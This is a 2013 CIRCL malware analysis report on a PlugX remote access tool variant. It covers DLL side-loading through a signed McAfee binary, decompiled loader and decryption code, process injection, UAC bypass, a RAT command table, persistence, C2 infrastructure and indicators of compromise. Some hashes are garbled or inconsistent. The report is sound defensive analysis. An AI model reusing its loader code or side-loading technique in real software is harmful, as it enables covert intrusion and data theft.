Analysis Report (TLP:WHITE)
Analysis of a PlugX variant (PlugX version 7.0)

Conducted by CIRCL - Computer Incident Response Center Luxembourg
Team CIRCL
March 29, 2013

Document version: 1.0
Contents

1 Scope of work 3

2 Analyzed samples 3
   2.1 Limitations .......................................................... 6
   2.2 Sharing .................................................................. 6

3 Executive summary 6

4 Analysis 6
   4.1 Techniques used .......................................................... 6
   4.2 Execution process ......................................................... 7
      4.2.1 Diagram ................................................................ 7
      4.2.2 Explanation ......................................................... 7
   4.3 Implemented commands ................................................. 10
   4.4 Command details ......................................................... 12
      4.4.1 Option ................................................................ 12
      4.4.2 Disk .................................................................. 12
      4.4.3 Screen .............................................................. 12
      4.4.4 Process .............................................................. 12
      4.4.5 Service ............................................................... 12
      4.4.6 Shell ................................................................ 12
      4.4.7 Telnet ................................................................. 13
      4.4.8 RegEdit ............................................................... 13
      4.4.9 Nethood ............................................................... 13
      4.4.10 Portmap .............................................................. 13
      4.4.11 SQL ................................................................. 13
      4.4.12 Netstat .............................................................. 13
      4.4.13 Keylogger ........................................................... 13
   4.5 Other notable commands and functions ....................... 13
      4.5.1 log .................................................................. 13
   4.6 Persistency ................................................................. 15
   4.7 Control .................................................................. 15
   4.8 Network and domain information .............................. 16
      4.8.1 Network .............................................................. 16
      4.8.2 Domain ............................................................... 17
   4.9 Current version and history of PlugX ......................... 18

A Appendix 18
   A.1 Indicators of Compromise (IOC) ......................... 18
      A.1.1 Pipes .............................................................. 18
      A.1.2 Files and directories ............................................ 18
      A.1.3 Registry .......................................................... 19
      A.1.4 Network (hostname and destination IP addresses) ...... 19
   A.2 References .............................................................. 19
   A.3 VirusTotal results ...................................................... 20
1 Scope of work

This report is the analysis of a Remote Access Tool (RAT) which we call a variant of Plugx\(^1\). Plugx is an interesting piece of malware for several reasons:

- It demonstrates the attack principle of the fastest/cheapest path of attack\(^2\) by abusing perfectly valid signed binaries to perform the attack
- It features ways to defeat other protection mechanisms like UAC\(^3\)
- In contrast to many other pieces of malware, the author\(^4\) shows the ability to write good code, especially doing logging the right way to improve the piece of software
- It appears to be modularized and easily extensible

2 Analyzed samples

- Sample A - Stage 1 of Malware
  - Description
    * Hash found in a malware database
  - Original filename
    * update.exe
  - Hashes
    * MD5: f1f48360f95e1b43e9fba0fec5a2af8b
    * SHA1: 70ceb467db7b0161d22e4545479f747417b9705a
    * SHA-256: 2bc5ce39dd9afe2157448d3f6d8cb9e549ed39543d159616e38480b9e6c11c49
  - Filetype
    * PE32 executable (GUI) Intel80386, for MS Windows, RAR self-extracting archive
  - Filesize
    * 370702 Bytes (326KB)
  - Compile time
    * Sat Jun 9 15:19:49 2012

- Sample B - Valid, signed McAfee binary
  - Description
    * File dropped by Sample A
  - Original filename
    * mcvsmap.exe
  - Hashes

\(^1\)Known variant names: Gulpix, Korplug
\(^2\)http://satoss.uni.lu/seminars/srm/pdfs/2012-Alexandre-Dulaunoy.pdf
\(^4\)For better readability we do not distinguish between a single author or a group of authors. Hence the expression is a synonym for "the authors"
Sample C - DLL to be loaded by Sample B, loads Sample D

- Description
  * File dropped by Sample A

- Original filename
  * McUtil.DLL

- Hashes
  * MD5: ad4a646b38a482cc07d5b09b4fffd3b3
  * SHA1: ae0f9bf2740d100c5d485827eb32aca33féa3a90
  * SHA-256: a99238e1ebebe47d7a89b2ccdfae537479f77322b5d49413153f7e5ca48

- Filetype
  * PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

- Filesize
  * 49152 Bytes (48K)

• Sample D - Malicious payload to be loaded by Sample C
  – Description
    * File dropped by Sample A
  – Original filename
    * McUtil.DLL.PPT
  – Hashes
    * MD5: 545bb4365a9b7c6b62d22844ebeedd93
    * SHA1: a267f1183b4ff8436d8a63264846abf78cc71d1f
    * SHA-256: d4fe890a08d4dd44b58a3b85b2a7e89536338099c1c42a9b7e85f4007b0a37b7
  – Filetype
    * pure code (IA32) without headers
  – Filesize
    * 124820 Bytes (122K)
  – Compile time
    * unknown (pure code)
• Sample E - Stage 2 of Malware
  – Description
    * Extracted malware from memory
  – Original filename
    * dump00C6000.bin
  – Hashes
    * MD5: 65ceb039e7b4731a165cfee081e220af
    * SHA1: b49766187971e3070644a9de2054bc93241b2263
    * SHA-256: deeac56026f3804968348c8afa5b7aba10900aebc05751c0fcaec2b88c7f1e
  – Filetype
    * PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
  – Filesize
    * 176128 Bytes (172K)
  – Compile time
    * Mon Nov 26 04:46:01 2012
• Sample F - UAC circumvention
  – Description
    * File temporarily created on filesystem
  – Original filename
2.1 Limitations
This work has been done with utmost care, following best practices in software reversing, forensic investigations and/or information gathering. However, the work is only covering small aspects (based on the indicators given, lacking full context) and not an exhaustive analysis, and hence the report is as-is, not giving any guarantees of completeness or claiming absolute accuracy. This work is provided for information only.

2.2 Sharing
The document is classified as TLP:WHITE, CIRCL authorizes everyone to share this analysis report as-is without modification.

3 Executive summary
The analyzed malicious software is an exhaustive Remote Access Tool (RAT) that defeats several protection methods of modern Windows operating systems, including execution of signed code and defeating UAC in Windows 7. It comes with a multitude of functionalities that are well implemented.

4 Analysis
4.1 Techniques used
The analysis has been done using a mixed-approach of dynamic analysis and static analysis in order to overcome some of the obfuscation and encryptions used by the malware. Some of the techniques might have also an impact on the interpretation of the malware. Unfortunately, when we started this investigation, the IP address is no longer accepting connections on the given ports when tested on 2013-03-26. An interaction following the protocol of this malware is therefore no longer possible.
4.2 Execution process

4.2.1 Diagram

4.2.2 Explanation

Sample A is a self-extracting archive which contains three files, Sample B, Sample C and Sample D. It is assumed that Sample A is a part of another attack vector, like PDF or Office document attacks where the user just opens a crafted document which exploits the document reader, drops and opens both a readable document and a malicious file like Sample A.

---

Legend:
Signed code
Neutral code
Malicious code

1. Type = Rar
2. Solid = –
3 Blocks = 3
4 Multivolume = –
5 Volumes = 1

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Attr</th>
<th>Size</th>
<th>Compressed</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2009–05–14</td>
<td>00:56:12</td>
<td>.</td>
<td>262672</td>
<td>119784</td>
<td>mcvsmap.exe</td>
</tr>
<tr>
<td>2013–03–13</td>
<td>14:56:12</td>
<td>.</td>
<td>124820</td>
<td>124820</td>
<td>McUtil.DLL.PPT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>436644</td>
<td>264889</td>
<td></td>
</tr>
</tbody>
</table>
6 3 files, 0 folders

Executing the self-extracting archive extracts the files and runs mcvsmap.exe (Sample B). Sample B is a valid signed file that the author of the malware took from a software bundle from McAfee. Sample B, when executed, attempts to load a file McUtil.DLL from the same directory, which usually is another component of McAfee. The malware author instead bundled the valid McAfee file Sample B with a custom DLL (Sample C). Since the file will be loaded without hesitation (there are no protection mechanisms implemented; neither does McAfee check if the imported file meets any conditions nor is any protection implemented for loading unsigned libraries in signed code), the signed Sample B jumps into the beginning of the code section of Sample C (via Push/Return):

At the target location the following code is executed:

```c
at read_execute_file()
{
    NumberOfBytesRead = GetModuleFileNameW(hModule, &filename, 0x2000u);
    lstrcatW(&filename, L" .PPT ");
    hFile_mcutil.dll.ppt = CreateFileW(&filename, GENERIC_READ, 1u, 0, OPEN_EXISTING, 0, 0);
    if ( hFile_mcutil.dll.ppt == 1 )
    {
        result = GetLastError();
    }
    else
    {
        buffer = VirtualAlloc(0, 0x100000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if ( buffer && ReadFile(hFile_mcutil.dll.ppt, buffer, 0x100000u, &NumberOfBytesRead, 0) )
        {
            CloseHandle(hFile_mcutil.dll.ppt);
            buffer();
            Sleep(0xFFFFFFFF);
            Sleep(0xFFFFFFFF);
            Sleep(0xFFFFFFFF);
            result = 0;
        }
        else
        {
            result = GetLastError();
        }
    }
}
```
The code retrieves the filename of itself (line 3), which is McUtil.DLL, and appends .PPT (line 4). A handle to the filename McUtil.DLL.PPT is created in line 5. In line 12 an executable memory region is created, which is filled with the content of the file McUtil.DLL.PPT (line 13). After closing the handle to the file (line 15), the memory region is called (line 16). The next screenshot shows that the memory contains only pure code without any overhead like MZ/PE headers. The entropy of this file is 7.997904 bits per byte:

```
00C40000 cmp edx, 0CE1F4B7h
00C40006 test edx, 0FF2A2004h
00C4000C xor esi, 0BE5876Fh
00C40012 dec edx
00C40013 xor edx, 2E4803E3h
00C40019 cmp edi, 45B33664h
00C4001F and esi, 0A95A6A4h
00C40025 inc edx
00C40026 mov edi, 28FCC370h
00C40028 cmp edi, 0A347650Bh
00C40031 cmp esi, 3646ED04h
00C40037 mov edx, 9C72B29Ah
00C4003C call $+6
00C40041 test esi, 769A4630h
00C40047 dec esi
00C4004B and edx, 0BB03C9h
00C40054 or edx, 0BE0653Ah
00C4005A or esi, 0CF84E63h
00C4006B and esi, 44A3528Fh
00C4006D and edx, 231692BEh
00C4006F and edi, 92FA77C5h
00C4006D and edi, 0C537FF3Bh
00C40072 pop eax
00C40073 add esi, 5F409FE1h
00C40079 dec edi
00C40079 or edx, 0F77945A9h
00C40080 cmp ecx, 64CC0060h
00C40086 add esi, 0008F200h
00C4008C cmp edx, 6D06BE22h
00C40092 dec esi
00C40093 cmp edx, 0F3F3B05Ah
00C40099 mov edi, 4931902Ah
00C4009E sub edx, 0F8867B89h
00C400AE cmp esi, 0F5C87C7Ah
00C400AA add edx, 0FC22F88Eh
```

The code, when executed, reveals the first hint about what we found:

```
00C400A7 mov eax, [ebp+arg_1]
00C400A1 mov [esi+10h], eax
00C40064 mov eax, [ebp+arg_10]
00C40067 mov [esi+4h], eax
00C4006A mov eax, [ebp+arg_14]
00C4006D mov [esi+18h], eax
00C4006E mov dword ptr [esi], 'FLUG'
00C4006F mov eax, [edi+28h]
00C40069 add eax, esi
00C4006B mov [esi+1Ch], eax
```

It decompresses and decrypts itself, using the Microsoft API call RtlDecompressBuffer and the custom decryption routine:
int crypt(unsigned int a1, int a2, int a3, int a4)
{
    if (a4 > 0)
    {
        v10 = a3 - a2;
        do
        {
            a1 = a1 + (a1 >> 3) - 0x11111111;
            a1 = a1 + (a1 >> 5) - 0x22222222;
            a1 += 0x44444444 - (a1 << 9);
            a1 += 0x33333333 - (a1 << 7);
            v7 = *(v10 + a2++) ^ (a1 + a1 + a1 + a1);
            v8 = a4 == 1;
            *(a2 - 1) = v7;
        }
        while (!v8);
    }
    return 0;
}

The decrypted and decompressed file is not written onto disk, it always remains in memory. Sample E is the extracted version of this memory segment. At this point it can be mentioned that neither the encrypted Sample D nor the decrypted memory segment Sample E are detected by Virus scanners.

After some initialisation work like adjusting tokens (SeDebugPrivilege, SeTcbPrivilege\textsuperscript{6}, to act as part of the operating system), a new process is started, the original svchost.exe from Microsoft, and the code from Sample E is injected into the memory of that process. In a next step, svchost.exe is instructed to execute the original msiexec.exe from Microsoft, where also memory is injected like it has been done for svchost.exe. Special conditions apply when run under Window 7, which is protected by User Account Control (UAC). UAC is supposed to protect the user better from running malware by requesting the administrator for approval before running a potentially dangerous application. In the environment of Windows 7, the malware drops temporarily file Sample F, which it uses to evade or defeat the UAC mechanism. After killing the parent processes, only two processes are left: svchost and msiexec. Both are verified binaries, none of the includes a malicious DLL.

Nevertheless, they both contain the malicious code. At this point in time the malware is already talking to the C&C, no user interaction was required, all standard security mechanisms were defeated.

4.3 Implemented commands

The analysis of Sample B revealed the commands as shown in the table below:

\textsuperscript{6}http://technet.microsoft.com/en-us/library/bb457125.aspx
Table 1: Implemented commands

<table>
<thead>
<tr>
<th>Source file</th>
<th>Internal command</th>
<th>subcommand</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>XPlugOption.cpp</td>
<td>Option</td>
<td>0x2000</td>
<td>lock workstation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x2001</td>
<td>shutdown workstation (forced)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x2002</td>
<td>reboot workstation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x2003</td>
<td>shutdown workstation (graceful)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x2005</td>
<td>show messagebox</td>
</tr>
<tr>
<td>XPlugDisk.cpp</td>
<td>Disk</td>
<td>0x3000</td>
<td>enumerate drives</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x3001</td>
<td>find file</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x3002</td>
<td>find file recursively</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x300A</td>
<td>create directory</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x3004</td>
<td>read file</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x3007</td>
<td>write file</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x300D</td>
<td>file copy/rename/delete/move</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x300C</td>
<td>create process on hidden desktop</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x300E</td>
<td>get expanded environment string</td>
</tr>
<tr>
<td>XPlugScreen.cpp</td>
<td>Screen</td>
<td>0x4000</td>
<td>Remote Desktop capabilities</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x4004</td>
<td>send mouse event</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x4005</td>
<td>send keyboard event</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x4006</td>
<td>send CTRL-Alt-Delete</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x4100</td>
<td>take screenshot</td>
</tr>
<tr>
<td>XPlugProcess.cpp</td>
<td>Process</td>
<td>0x5000</td>
<td>create process</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x5001</td>
<td>enumerate processes</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x5002</td>
<td>kill process</td>
</tr>
<tr>
<td>XPlugService.cpp</td>
<td>Service</td>
<td>0x6000</td>
<td>query service config</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x6001</td>
<td>change service config (forced)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x6002</td>
<td>start service</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x6003</td>
<td>control service</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x6004</td>
<td>delete service</td>
</tr>
<tr>
<td>XPlugShell.cpp</td>
<td>Shell</td>
<td>0x7002</td>
<td>start a cmd shell</td>
</tr>
<tr>
<td>XPlugTelnet.cpp</td>
<td>Telnet</td>
<td>0x7100</td>
<td>start telnet server</td>
</tr>
<tr>
<td>XPlugRegedit.cpp</td>
<td>RegEdit</td>
<td>0x9000</td>
<td>enumerate keys</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9001</td>
<td>create key</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9002</td>
<td>delete key</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9003</td>
<td>copy key</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9004</td>
<td>enumerate values</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9005</td>
<td>set value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9006</td>
<td>delete value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0x9007</td>
<td>get value</td>
</tr>
<tr>
<td>XPlugNethood.cpp</td>
<td>Nethood</td>
<td>0xA000</td>
<td>enumerate network resources</td>
</tr>
<tr>
<td>XPlugPortMap.cpp</td>
<td>Portmap</td>
<td>0xB000</td>
<td>starts port mapping</td>
</tr>
<tr>
<td>XPlugSQL.cpp</td>
<td>SQL</td>
<td>0xC000</td>
<td>get data source information</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0xC001</td>
<td>get driver description</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0xC002</td>
<td>execute statement</td>
</tr>
<tr>
<td>XPlugNetstat.cpp</td>
<td>Netstat</td>
<td>0xD000</td>
<td>get TCP table</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0xD001</td>
<td>get UDP table</td>
</tr>
<tr>
<td></td>
<td></td>
<td>0xD002</td>
<td>set TCP entry</td>
</tr>
<tr>
<td>XPlugKeyLogger.cpp</td>
<td>Keylogger</td>
<td>0xE000</td>
<td>starts key logger thread</td>
</tr>
</tbody>
</table>
4.4 Command details

4.4.1 Option
XPlugOption implements commands to lock the workstation, shut it down or reboot it. In addition, XPlugOption can create a thread that calls MessageBoxW() in order to present a message box to the user.

4.4.2 Disk
XPlugDisk is used to enumerate connected disk drives and can be used to find and manipulate files and directories. In addition, XPlugDisk can be used to create a process, optionally on a hidden Windows desktop with the name "HH", as the code below illustrates:

```plaintext
if ( a1->hidden )
{
    hDesktop = CreateDesktopW(L"HH", 0, 0, 0x10000000u, 0);
    if ( !hDesktop )
        log("XPlugDisk.cpp", 665, 0);
    hidden = a1->hidden;
    StartupInfo.lpDesktop = (hidden != 0 ? L"HH" : 0);
    StartupInfo.cb = 68;
    StartupInfo.dwFlags = 1;
    if ( CreateProcessW(0, &a1->commandline, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    {
        ...
    }
}
```

4.4.3 Screen
XPlugScreen is not only taking screenshots, it is also implementing remote desktop capabilities. It is able to capture the screen (internal command: ScreenT1) and can send mouse and keyboard events (internal command: ScreenT2).

4.4.4 Process
XPlugProcess implements three commands and is able to enumerate, create and kill processes.

4.4.5 Service
In the module XPlugService commands are available related to Windows services. Code is implemented to query service configurations, change service configuration, start, control and delete services.

4.4.6 Shell
A remote shell for the attacker is created in the module XPlugShell, by creating an asynchronous set of pipes (\pipe\a and \pipe\b) for cmd.exe and the console attached to it (AttachConsole()).
4.4.7 Telnet

cmd.exe /Q is executed in the module XPlugTelnet in order to start a telnet server on the attacked machine.

4.4.8 RegEdit

XPlugRegedit implements a set of commands to process the Windows registry. It is able to enumerate, create, delete and copy keys. It is also able to enumerate, set, delete and get values from the registry.

4.4.9 Nethood

XPlugNethood is the module to enumerate network resources like network shares.

4.4.10 Portmap

XPlugPortMap indicates that it performs some port mapping, however, the code is not understood, yet.

4.4.11 SQL

XPlugSQL implements three functions to query SQL servers: a function to get data source information, a function to get the driver description and a function to execute SQL statements.

4.4.12 Netstat

XPlugNetstat gets the TCP and UDP connection table and is able to set TCP table entries.

4.4.13 Keylogger

The keylogger implemented in XPlugKeyLogger catches Window titles, date, time and logs entered keys into the file

```
C:\Documents and Settings\All Users\VirusMap\NvSmart.hlp
```

It has the format following the example below:

```
1 2013 03 26 09:40:57 | C:\Program Files\Mozilla Firefox\firefox.exe | Mozilla Firefox
2 www.google.com
3 2013 03 26 09:47:49 | C:\WINDOWS\system32\notepad.exe | Untitled | Notepad
4 This is not a password
5 2013 03 26 09:48:06 | C:\WINDOWS\Explorer.EXE | C:\Documents and Settings\All Users\VirusMap
```

4.5 Other notable commands and functions

4.5.1 log

This function is called almost everywhere when the author expects that a functions returns an error, at 1036 places. This is obviously done to ensure code quality.
```c
write_log(LPCWSTR lpBuffer)
{
    ExpandEnvironmentStringsW(L"%ALLUSERSPROFILE%\%S\bug_log", &path_to_bug.log, 0x800u);
    lstrcatW(&path_to_bug.log, L"\S\S\bug.log");
    CreateDirectoryW(&path_to_bug.log, 0);
    SetFileAttributesW(&path_to_bug.log, 6u);
    lstrcatW(&path_to_bug.log, L"\bug.log");
    result = CreateFileW(&path_to_bug.log, 0x40000000u, 1u, 0, 0, 2u, 0);
    if ( result != -1 )
    {
        if ( SetFilePointer(result, 0, 0, 2u) != -1 )
        {
            GetLocalTime(&SystemTime);
            NumberOfBytesWritten = wcspprintfW(&Buffer, L"%4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d: ",
                                                   SystemTime.wYear,
                                                   SystemTime.wMonth,
                                                   SystemTime.wDay,
                                                   SystemTime.wHour,
                                                   SystemTime.wMinute,
                                                   SystemTime.wSecond);
            if ( WriteFile(result, &Buffer, 2 * NumberOfBytesWritten, &NumberOfBytesWritten, 0) )
            {
                len = lstrlenW(lpBuffer);
                WriteFile(result, lpBuffer, 2 * len, &len, 0);
            }
        }
    }
    result = CloseHandle(result);
    return result;
}
```

Example log file entries from file

```plaintext
%ALLUSERSPROFILE%\S\bug.log
```

8 2013–03–25 17:37:00: file: XSoTcpHttp.cpp, line: 646, error: [12029]*

In addition an exception filter is installed to fetch the circumstances of otherwise not caught errors:

```c
TopLevelExceptionFilter(struct_a1_30 *a1)
{
    ...
    if ( wcspprintfA(&OutputString,
```
"EName:%s,EAddr:0x%p,ECode:0x%p,EAx:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p\r\n",
&String1,
a1->ECode[3],
*a1->ECode,
v6->reg_eax,
v6->reg_ebx,
v6->reg_ecx,
v6->reg_edx,
v6->reg_esi,
v6->reg edi,
v6->reg ebp,
v6->reg esp,
v6->reg_eip ) >= 256 )
log("XException.cpp", 39, 0);
call_write_log(&OutputString);
call_OutputDebugStringA(&OutputString);
...
}

4.6 Persistency

The three files Sample B, C and D are copied into the directory

C:\Documents and Settings\All Users\VirusMap

respectively in

C:\ProgramData\VirusMap (C:\Users\All Users\VirusMap)

After that, a new registry entry is set:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

which calls mcvsmap.exe (Sample B) after login.

Another option is the installation as a service in

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VirusMap

The key "Imagepath" calls the same binary mcvsmap.exe (Sample B).

4.7 Control

The attacked computer uses TCP and UDP to connect to port 443 on help.yahoo-upgrade.com (122.199.194.197). Unfortunately, the machine at that IP address doesn’t seem to reply to our requests anymore on 2013-03-26.

The Passive DNS showed some other associated domains and hostnames with this IP address:

crumpet Upgrade.com
support.ayuisyahooapis.com
update.ayuisyahooapis.com
update.trendmicrosoft.co.in

It’s highly probable that these hostnames were also used for other campaigns. You might use these as additional indicators for the detection of potential infections.
4.8 Network and domain information

4.8.1 Network

The IP address is located in the ASN 17877 and the ISP is not a known bulletproof hoster as you can see on its historical BGP ranking evolution.

```
inernet: 122.199.128.0 – 122.199.255.255
netname: VAAN
descr: NexG
descr: 5F Seoul Academy B/D, 967–6 Daechi–Dong, Gangnam–Gu, 135–280
descr: ************************************************
descr: Allocated to KRNIC Member.
descr: If you would like to find assignment information in detail please refer to
descr: the KRNIC Whois Database at:
descr: "http://whois.nic.or.kr/english/index.html"
descr: ************************************************
country: KR
admin-c: SL1625–AP
techn-c: SL1625–AP
remarks: www.nexg.net
status: ALLOCATED PORTABLE
mnt-by: MNT-KRNIC-AP
mnt-lower: MNT-KRNIC-AP
changed: lm-changed@apnic.net 20060606
source: APNIC

country: KR
person: Sanguk Lee
nic-hdl: SL1625–AP
e-mail: ip@nexg.net
address: 5F Seoul Academy B/D, 967–6 Daechi–Dong, Gangnam–Gu, 135–280
phone: +82–2–538–7060
fax-no: +82–2–571–8998

country: KR
changed: hostmaster@nida.or.kr 20050105
```

7http://bgpranking.circl.lu/asn_details?asn=17877
### 4.8.2 Domain

Domain Name: YAHOO-UPGRADE.COM  
Registrar: JIANGSU BANGNING SCIENCE & TECHNOLOGY CO. LTD  
Whois Server: whois.55hl.com  
Referral URL: http://www.55hl.com  
Name Server: DNS5.4CUN.COM  
Name Server: DNS6.4CUN.COM  
Status: ok  
Updated Date: 08-aug-2012  
Creation Date: 18-jul-2011  
Expiration Date: 18-jul-2013  


<table>
<thead>
<tr>
<th>Registrant Contact:</th>
</tr>
</thead>
<tbody>
<tr>
<td>yahoo</td>
</tr>
<tr>
<td>yahoo yahoo <a href="mailto:whiteyoo_123@yahoo.com">whiteyoo_123@yahoo.com</a></td>
</tr>
<tr>
<td>telephone: +48.56756756756</td>
</tr>
<tr>
<td>fax: +48.56732453453</td>
</tr>
<tr>
<td>yahoo yahoo yahoo 345345</td>
</tr>
<tr>
<td>CA</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Administrative Contact:</th>
</tr>
</thead>
<tbody>
<tr>
<td>yahoo yahoo <a href="mailto:whiteyoo_123@yahoo.com">whiteyoo_123@yahoo.com</a></td>
</tr>
<tr>
<td>telephone: +48.56756756756</td>
</tr>
<tr>
<td>fax: +48.56732453453</td>
</tr>
<tr>
<td>yahoo yahoo yahoo 345345</td>
</tr>
<tr>
<td>CA</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Technical Contact:</th>
</tr>
</thead>
<tbody>
<tr>
<td>yahoo yahoo <a href="mailto:whiteyoo_123@yahoo.com">whiteyoo_123@yahoo.com</a></td>
</tr>
<tr>
<td>telephone: +48.56756756756</td>
</tr>
<tr>
<td>fax: +48.56732453453</td>
</tr>
<tr>
<td>yahoo yahoo yahoo 345345</td>
</tr>
<tr>
<td>CA</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Billing Contact:</th>
</tr>
</thead>
<tbody>
<tr>
<td>yahoo yahoo <a href="mailto:whiteyoo_123@yahoo.com">whiteyoo_123@yahoo.com</a></td>
</tr>
<tr>
<td>telephone: +48.56756756756</td>
</tr>
</tbody>
</table>

---

Page 17 of 21
4.9 Current version and history of PlugX

A version string can be found in this binary:

```
d:\work\plug7.0(mcvsmap)(fking)(\shellcode\shellcode\XPlug.h
```

This could mean PlugX, version 7.0 codename fking, build for mcvsmap. References can be found on the internet for previous versions of this malware family:

```
d:\work\plug4.0(nvsmart)(sxl)\shellcode\shellcode\XPlug.h
2 d:\work\plug3.1(icesword)\shellcode\shellcode\XPlug.h
3 d:\work\Plug3.0(Gf)UDP\Shell6\Release\Shell6.pdb
4 i:\work\plug2.0()\shellcode\shellcode\XPlug.h
```

A Appendix

A.1 Indicators of Compromise (IOC)

This section summarizes the known indicators of compromise. The list might not be exhaustive, but the existence of any or all of the following indicators might help to discover an infection.

A.1.1 Pipes

```
\PIPE\a$PID
2 \PIPE\b$PID
3 \PIPE\RUN_AS_USER($PID)
```

(where $PID is the process ID of the active malicious process)

A.1.2 Files and directories

- Static files (dropped files)
  - update.exe
    - MD5: f1f48360f95e1b43e9fba0fec5a2af8
    - SHA1: 70ceb467db7b0161d22e4545479f747417b9705a
    - SHA256: 2bc5ce39dd9afe215d83f8d8c549ed39543d159616c3480b9e6c11c49
  - mcvsmap.exe
    - MD5: 4e1e0b8b0673937415599bf2f2f2c44ad
    - SHA1: 9224de3af2a246011c6294f64f27206d165317ba
    - SHA256: ae16e10e621d6610a3ff2c7122f9d1263700ba02db9e42908edeb28e4096
  - McUtil.DLL
    - MD5: ad4a646b38a182cc0745b094fffd3b3
    - SHA1: ae0f9bf2740b05c5d485827eb32a33f6f6a390
    - SHA256: 0a99238e1ebebc47d7a89b2ccddf6e53f74f7f732b5d49413153f7e5ca48
Files and/or directories might be hidden and carry the system flag

- C:\ProgramData\VirusMap (Windows 7)
- C:\Users\All Users\VirusMap (Windows 7)
- C:\Documents and Settings\All Users\VirusMap (Windows XP)
- %ALLUSERSPROFILE%\SxS\bug.log
- C:\Documents and Settings\All Users\VirusMap\NvSmart.hlp

A.1.3 Registry

- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VirusMap and a key referencing Sample B
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run and a key referencing Sample B

A.1.4 Network (hostname and destination IP addresses)

1. help.yahoo-upgrade.com
2. 122.199.194.197

A.2 References

- WHITE PAPER: PLUG X - PAYLOAD EXTRACTION
  - Published 2013-03-22

- An Analysis of PlugX
  - http://lastline.com/blog.php
  - Lastline - http://www.lastline.com/
  - no publication date found

- PlugX is becoming mature
  - http://www.securelist.com/en/blog/208193974/PlugX_is_becoming_mature
  - Kaspersky Lab - http://www.kaspersky.com/
• Published 2012-11-27

• Unplugging PlugX Capabilities
  - TrendMicro - http://www.trendmicro.eu/
  - Published 2012-09-17

• Tracking down the author of the PlugX RAT
  - Published 2012-09-13

A.3 VirusTotal results

<table>
<thead>
<tr>
<th>Sample A</th>
<th>Sample B (mcvsmap.exe)</th>
<th>Sample C (McUtil.DLL)</th>
</tr>
</thead>
<tbody>
<tr>
<td>MicroWorld-eScan: Trojan.Agent.AZDK</td>
<td>Scanned: 2013-03-21 04:01:12 - 45 scans - 28 detections (62.0%)</td>
<td></td>
</tr>
<tr>
<td>nProtect: Trojan.Agent.AZDK</td>
<td></td>
<td></td>
</tr>
<tr>
<td>McAfee: RDN/Generic BackDoor!gq</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Malwarebytes: Trojan.Dropper.CH</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Symantec: WS.Reputation.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Norman: Agent.APIJH</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TrendMicro–HouseCall: BKDR_POISON.PQ</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Avast: Win32: Gulpix-B [Trj]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kaspersky: Backdoor.Win32.Gulpix.bo</td>
<td></td>
<td></td>
</tr>
<tr>
<td>BitDefender: Trojan.Agent.AZDK</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Agnitum: Backdoor.Gulpix!EFaRR6zLtc4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Comodo: UnclassifiedMalware</td>
<td></td>
<td></td>
</tr>
<tr>
<td>F-Secure: Trojan.Agent.AZDK</td>
<td></td>
<td></td>
</tr>
<tr>
<td>DrWeb: Trojan.Click2.52215</td>
<td></td>
<td></td>
</tr>
<tr>
<td>VIPRE: Trojan.Win32.Generic!BT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AntiVir: TR/Agent.azdk.3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TrendMicro: BKDR_POISON.PQ</td>
<td></td>
<td></td>
</tr>
<tr>
